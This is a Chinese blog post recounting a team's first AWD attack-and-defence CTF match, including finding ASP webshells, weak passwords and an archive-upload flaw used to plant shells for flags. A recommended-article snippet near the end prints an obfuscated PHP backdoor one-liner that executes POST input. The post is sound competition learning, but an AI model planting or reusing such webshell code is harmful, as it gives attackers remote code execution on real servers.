记一次AWD比赛

CTF-AWD入门手册 今天给大家带来了AWD的入门知识点,AWD赛制也是CTF中常见的赛制,本文讲的AWD比赛中常见的知识点,可能会有许多的遗漏,望大家指出交流,如果对本文感兴趣不妨一键三连。 阅读详情

萌新一枚,热爱CTF,大牛绕行吧,嘻嘻!

由于AWD的经验比较少,即使比赛前做了详细的规划,也不免比赛时手忙脚乱,不在到自己应该干什么(当然这跟主办方没把要求说清楚有关,说是一台靶机,两台攻击机,结果是两台靶机,攻击机是自己本机,,,,,,)

先贴一张我赛前准备的比赛步骤和一些TIP:

 

对于我来说写的挺好了,可是给了两台靶机后,而且用户权限还只是普通用户,一脸绝望.jpg,好多脚本都用不了。

先说一下两台靶机的情况,一台是运行tomcat服务,一台是ECShop,有大量的web漏洞,

没办法,先打把,比赛前我记得ubuntu有系统漏洞可以提权,因为没有实战演习过,而且我认为主办方会给root权限,所以没想那么多,事实证明,准备的东西自己试一下还是非常必要的

其实这回的ssh密码不改也没有关系,因为他的密码很随机,不可能被别人爆破到,但是比赛还是要关心一下ssh这一块(tomcat那一台根本不能修改ssh密码,权限不够,不知道为什么)

开始tamcat那台机器我们没有找到网站根目录在哪里,他并没有放在我们已知的/var/www目录,所以我们大费周折找了好久,本来想d盾查一下欲留后门,查了ecshop那个并没有,另一个没找到目录就没管,,蓝瘦

还有就是我做了一件非常蠢的事情,我记得要删除关于install目录和php文件,但是我们有个审计网站的队友看到了include下面有好多不知名看起来很NB的页面,以为这个已经被黑了,急忙让队友把include目录删掉,删掉,掉,,,,,,,,,,,所以网站挂了

后来申请主办方把靶机重置吧,幸好有免费重置的机会,没有酿成大错,之后上waf,发现这个网站太脆弱了,一上waf就崩,急忙撤了下来,太狠

我们做了一个很机智的决定:把后台的路径改了名字,admin改成别的名字了

上午我们主要在研究ecshop那台靶机的漏洞,因为已经有队伍在那里拿分了(别问我怎么知道的,不小心往前看到的)

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------

中午交流的时候,和同校的一队交流了下,发现我们的数据库密码已经被改了,他们改的,不知道比赛没完成就讨论是不是很不道德,当时也没想那么多,之后吃完饭就各自研究了,我们中午并没有得出什么建设性的结论,只是决定自己挖自己的漏洞了,我觉得这样不好,但是我们的小组协作性确实很差,临时凑起来的队伍,也没打过什么线下

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------

下午继续上午的比赛,我开始研究tomcat那台机器了,找到网站根目录之后,我就把源码备份之后拷到本机上面,d盾了一下,两个一毛一样的asp大马,但是密码找不到,我还是花了一段时间在那上面,打着打着发现我们的靶机被攻击了,我们根本不知道如何去守,看流量这个东西,我们抓流量的脚本在waf里面,所以并没有好的方法去防止他们打我们,好在攻击的队伍是打的全场,都在掉分,只能寄希望于挖到新的漏洞

通过那个找不到密码的asp大马,我们找到了后台登陆系统,(其实审计自己家网站就能知道),用户名密码,是啥???后来队友发现了配置文件中存在的用户名密码,弱口令,登陆,有了网站的管理权限,其实这个时候就可以传马打全场了,,但是我们的经验太缺少,看了好久不知道如何利用,有个解析漏洞传个指定后缀名的压缩包,传上去自动解压,这样传asp马就可以拿到flag,我们最后还是发现自家服务器被种了马,利用他们的脚本来拿flag,然后我们发现了那个上传漏洞,自己上马拿flag,还有另一支队伍,一次只能拿两分,不知道是用的什么洞,到后来只是我们三支队伍在拿分了,比赛也接近了尾声

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------

这次比赛,总结了一些东西:

  • 一定做好万全的准备,做好权限不足的情况,提权漏洞等等
  • 提高脚本的编写能力,我的文件监控只是在root下好用,只是删除和记录写入的功能(可能有的权限没有把),自己修改也困难,要不利用这个脚本就可以防的死死的
  • 日志抓流量工作一定要做好,我说了好几百遍队友就是不听,没好好准备在这里,非让我弄CMS的洞,这个也不是三天两天可以弄完的,装个漏洞库啥都解决了
  • 多增加实战经验,要不然看到一个洞,知道他可以利用,却不会用的感觉难受的要死

最后附一张我为这此比赛准备的东西的图:

当当当当:

AWD竞赛全流程解析 AWD是一个非常有意思的模式 阅读详情

相关推荐

【大学生版】AWD 赛事——网络安全攻防对抗竞赛

AWD赛事是网络安全竞赛皇冠上的明珠,它将攻击的锋芒与防守的韧性完美结合,在高压、实时的环境下锤炼选手的综合实战能力。无论是“网鼎杯”、“强网杯”这样的国家级大赛,还是校内选拔赛,AWD都以其激烈的对抗性和极高的技术含量吸引着众多网络安全爱好者。理解其规则、流程,并通过真实案例体会其攻防博弈的精髓,是同学们迈向网络安全实战高手的重要一步。加油!

锦鲤的博客 2144

AWD:赛前准备工作以及深度脚本讲解

有幸被邀请代表学校去参加线下攻防,也就是俗称的AWD比赛。 当然,在这一方面我也只能算是小白,所以希望各位大佬在看完我写的博客以后能指正一些错误。 一.比赛介绍 AWD赛制是按照分组来进行比赛的。每组3-4人,经过不同的分工,从而实现对服务器的维护以及对其他人的服务器进行攻击。 每个服务器都会有一个提前放好的有漏洞的网站,需要进行代码审计,然后修补漏洞。 举个例子,某些参数一可以参杂系统的cmd命令上来,如果执行成功,就会获取你服务器上某个文件夹下的flag.txt的内容,一旦获取成功,就代表被攻破。 .

薯片薯条的博客 1万+

AWD平台搭建——Cardinal

Cardinal 是由 Vidar-Team 开发的 AWD 比赛平台,使用 Go 编写。本程序可以作为 CTF 线下比赛平台,亦可用于团队内部 AWD 模拟练习。Cardinal 这个名字来源于作品《刀剑神域》中的游戏系统,小说中描述为可在无需任何人工外界输入就可以独立完成对玩家的监控、维护游戏数据平衡、自动产生新的游戏任务、进行自我修复与完善......

路baby的博客 8653

AWD的那些事

介绍 AWD全称 Attack With Defence 总之就是你既是 hacker 又是 manager ;目标就是拿到其他战队靶机的shell 即可,通过shell 访问 flag服务器,得到flag后提交得分; 攻击-发现漏洞 防御-修复漏洞 比赛形式与规则 服务器主要是包括WEB靶机和PWN靶机,服务器基本上为linux系统在系统某处存在flag或者执行某条命令获取flag flag 定时刷新,每隔一段时间会生成新的flag,攻击者可以提交新的flag 来得分,但不可重复提交相同的...

战神/calmness的博客 5717

AWD平台搭建与使用入门

简单介绍 平台搭建 因为平台已经做的比较集成化,所以安装还是很简单的。 首先需要下载赛题项目 git clone https://github.com/zhl2008/awd-platform #这一条命令可以将文件下载到当前工作目录,文件名为awd-platform 因为项目地址是在github上面,所以对某些国内用户可能会有一些网络问题,这里博主搬运了一下,上传到csdn上面了。(点击前往) 然后需要下载docker sudo apt install docker.io 这里如果没有更换ap

Flynn的博客 1万+

一次AWD比赛记录

BEGIN ssh -p 2201 ctf@118.89.227.105 备份文件以后,首先D盾扫一波 使用defence上waf 开始修洞 .config_common.php 这是一个已知后门 <?php error_reporting(0);set_time_limit(0);$a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."0");$a(@${"_P"."O"."S"."T"}[520]); ?> base64_decode:YXN

luoluopeach 718

记第一次awd比赛

本文写于4.27日awd结束后的5小时后,总结记录一下我的第一次awd(虽然靶场有点垃圾)。分享我今天的整体思路。 ** 0x01 赛前准备 ** 说到awd的赛前准备,其实我只在前一天晚上看了看文章,下了一些工具,存了一些脚本(虽然最后都没用上。。。)po张图 第一个是D盾,把源码down下来之后拿D盾扫,会扫出疑似后门,也就是一句话木马。但是事实上我们就没down源码。。。所以也就...

young‘s blog 2174

AWD攻防比赛介绍

目录 1.AWD比赛介绍 2.网络安全演练中常见的问题 3.AWD模式 4.题目类型 5.攻击流程图 6.防守流程图 6.1 具体防御步骤 7.比赛说明 8.AWD总结 1.AWD比赛介绍 AWD,即:Attack With Defence(攻击和防御)。AWD赛制是一种网络安全竞赛的赛制。AWD赛制由安全竞赛专家及行业专家凭借十多年实战经验,将真实网络安全防护设备设施加入抽象的网络环境中。考验参赛者攻防兼备的能力。其主要特点为:强调实战性、实时性、对抗性,综合考量...

afei001 4000

记一次 AWD 比赛中曲折的 Linux 提权

使用 sqlmap -os-shell 可能导致获取到与目标系统相关的命令执行权限,但这与操作系统的 root 权限无关。-os-shell 的具体权限取决于目标系统上正在运行的 Web 应用程序的用户权限,而不是数据库的 root 权限。SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。在数据库管理系统中,root 用户是具有最高权限的用户,可以执行所有管理任务,包括创建、删除、修改数据库对象以及用户帐户。

Specif1c的博客 2753

Ollama运行DeepSeek大模型调优指南:GPU与CPU协同实现性能最大化

Ollama运行DeepSeek大模型调优指南

qq_32358423的博客 3994

可微编程:当深度学习遇见物理定律,重塑科学计算新范式

本文探讨了可微编程如何将深度学习与物理定律相结合,重塑科学计算范式。通过自动微分技术,它将物理方程融入可微计算图,使模型在数据驱动的同时遵守物理约束。文章以神经常微分方程为例,阐述了其在连续系统建模、科学模拟器优化等领域的应用,并分析了当前面临的挑战与最佳实践路径。

weixin_29056145的博客 134

awd的批量脚本 pwn_记一次AWD反杀之旅

背景星盟团队的内部awd训练,邀请我们团队参加,然后想着也没什么事情就报名了。为什么说叫反杀之旅?因为最开始的时候由于技术师傅的手误,前两轮设置后台check扣分的时候多按了一个0,导致一次check扣了我们1000分。。。本来每个队初始分数是1000,结果我们一下变成了0,成了倒数第一。不过经过团队的紧张的补救以及多年的手速,在多扣了几百分的情况下最后追赶到了正数第二名的位置。觉得还挺有意思,所...

weixin_39611340的博客 1419

DEA各种模型原理及stata代码实现

DEA各种模型原理及stata代码实现DEA各种模型原理及stata代码实现一、CCR和BCC1.原理2.效率测算stata代码3.Malmquist指数3.1M指数3.2Global-Malmquist指数4.指数计算代码与案例二、SBM模型1.原理2.stata代码实现三、方向性距离函数(DDF)1.原理2.stata代码实现3.非径向DDF模型(NDDF)3.GML指数4.指数测算四、总结 DEA各种模型原理及stata代码实现 一、CCR和BCC 1.原理 CCR模型产出导向下的效率通过求解以下规划

wonder1322的博客 4万+

AWD攻防比赛指导手册

0# 什么是AWD 0.1# AWD赛制介绍 「 攻防模式 | AWD (Attack With Defense) 」 是 CTF比赛 「CTF Capture The Flag」 几种主要的比赛模式之一,该模式常见于线下赛。 在该模式中,每个队伍都拥有一个相同的初始环境 ( 我们称其为 GameBox ),该环境通常运行着一些特定的服务或应用程序,而这些服务通常包含一些安全漏洞。参赛队伍需要挖...

渗透测试研究中心 4258

python123题目——摩尔斯电码转换

类型:列表元组。

m0_62488776的博客 4415

游戏封包抓取实战:雷电模拟器+ProxyDroid+查尔斯3.93+WPE全流程解析

本文详细解析了使用雷电模拟器、ProxyDroid、查尔斯3.93和WPE进行游戏封包抓取的全流程实战。通过环境搭建、代理配置与工具协同,手把手教你抓取HTTP/HTTPS及原始Socket数据,涵盖从流量转向、证书安装到数据分析和常见问题排查,是学习游戏网络协议分析与安全测试的实用指南。

u8v9w0x1y的博客 441

AWD比赛入门攻略总结

攻防模式 | AWD (Attack With Defense) 」 是 CTF比赛 「CTF Capture The Flag」 几种主要的比赛模式之一,该模式常见于线下赛。在该模式中,每个队伍都拥有一个相同的初始环境 ( 我们称其为 GameBox ),该环境通常运行着一些特定的服务或应用程序,而这些服务通常包含一些安全漏洞。参赛队伍需要挖掘利用对方队伍服务中的安全漏洞,获取 Flag 以获得积分;同时,参赛队伍也需要修补自身服务漏洞进行防御,以防被其他队伍攻击和获取 Flag。

zkaqlaoniao的博客 6681

EMS案例:BMS传导发射超标整改案例

BMS作为新能源汽车的关键部件,其EMC性能直接影响整车的安全性和可靠性。本文通过一个实际的传导发射整改案例,详细展示了从问题定位、分析到解决方案实施的全过程。希望这些经验能够为从事类似产品设计的工程师提供有价值的参考,在未来的产品开发中避免类似问题,设计出更加可靠、稳定的BMS产品。EMC设计是一门结合理论与实践的艺术,只有通过不断积累经验、深入理解电磁场理论,并紧密结合实际应用场景,才能在复杂的电磁环境中设计出鲁棒性强的电子产品。

m0_56451176的博客 272

记第一次线下AWD感受及复现

前言: 之前忙于期末复习,没有及时总结当时参赛的感受及复现,这次就来总结一下。 前期准备 由于是第一次参加AWD比赛,各方面经验都不足,在参赛的前几天也是疯狂搜集各种脚本、框架、工具等,同时也参考大师傅的博客进行学习,下面就叙述一下我学习的过程: 一、进行备份 看了很多大师傅的博客,有的师傅博客中写到有些AWD比赛可能给的SSH账户密码相同,所以可以下载一些Github上修改SSH密码的批量脚本,...

Lemon's blog 3469

YOLOv11涨点改进 | 首发全网创新、主干改进篇 | AAAI 2026 | PartialNet 主干让 YOLOv11 更加强大!引入部分通道机制 和 部分注意力卷积,全方面提升了模型的性能

本文提出PartialNet主干网络改进YOLOv11的方法,通过部分通道机制(PCM)和部分注意力卷积(PATConv)提升模型效率。PartialNet将特征图通道拆分并应用不同操作,显著减少计算量和内存占用。主要创新包括:1)部分通道机制实现计算优化;2)三种注意力模块(PATch/PATsp/PATsf)增强特征提取;3)动态部分卷积(DPConv)自适应调整计算复杂度。文章详细提供了代码实现和YOLOv11集成方法。

Ai缝合怪、助力小伙伴高效发论文 268

计算机应用数学--第一次作业

中科大 计算机应用数学 第一次作业

一杯水果茶!足矣~ 1328

AWD简单介绍和搭建AWD平台

AWD简单介绍和搭建AWD平台 何为AWD 比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。 1、一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下) 2、可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析 3、flag在主办方的设定下每隔一定实践刷新一轮 4、各队一般都有自己的初始分数 5、flag一旦被其他队伍拿走,该队扣除一定积分 6、扣除的积分由获取flag的队伍均分 7、主办方会对每个

kukudeshuo的博客 1万+

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

CTF——AWD模式小总结

本文以bugku平台awd比赛来写 awd 比赛平台 一、防御(比赛开始有30分钟防御时间) 比赛开始得到一个 靶机,如下信息ssh 用户名和密码,还有虚拟ip 然后我们ssh 连接进行防御,这里我推荐使用Xshell配合Xftp使用,打开xshell 新建一个连接,写入相应信息 填入用户名还有密码,然后点击连接 2. 进入之后我们直接点击,xftp按钮(目的: 需要连接xftp下载文件) 连接成功后如下 进入/var/www将html文件下载下来 (目的是扫描是否存在后门,还有代码审计

weixin_46079186的博客 2万+

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

AWD攻防比赛流程手册

AWD:Attack With Defence,即攻防对抗,比赛中每个队伍维护多台服务器(一般两三台,视小组参赛人数而定),服务器中存在多个漏洞(web层、系统层、中间件层等),利用漏洞攻击其他队伍可以进行得分,加固时间段可自行发现漏洞对服务器进行加固,避免被其他队伍攻击失分。

WEB渗透测试 从入门到萌新 4786

线下AWD比赛经验总结(含watchbird打包文件)

本次所参加比赛为“重庆市‘XX杯’网络安全挑战赛”总决赛,作者战队通过ctf初赛、作品赛积分获得了总决赛资格,第一次接触到了AWD比赛。由于在下还是新手,会以新手角度介绍我的精力,希望各位大佬指正!AWD(Attack With Defense,攻防兼备),赛前团队(一般3人)每人4会获得一台服务器ip,该环境通常运行着一些特定的服务或应用程序,而这些服务通常包含一些安全漏洞。你需要在一场比赛里要扮演攻击方和防守方,攻者得分,失守者会被扣分,尽量获取更高分数保证排名是比赛的目的。

2402_82878467的博客 2451
上一篇: 0 本书目录
下一篇: 搭建wordpress博客所遇到的问题
fa1lr4in
博客等级 码龄9年 64粉丝 79原创
评论 4
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值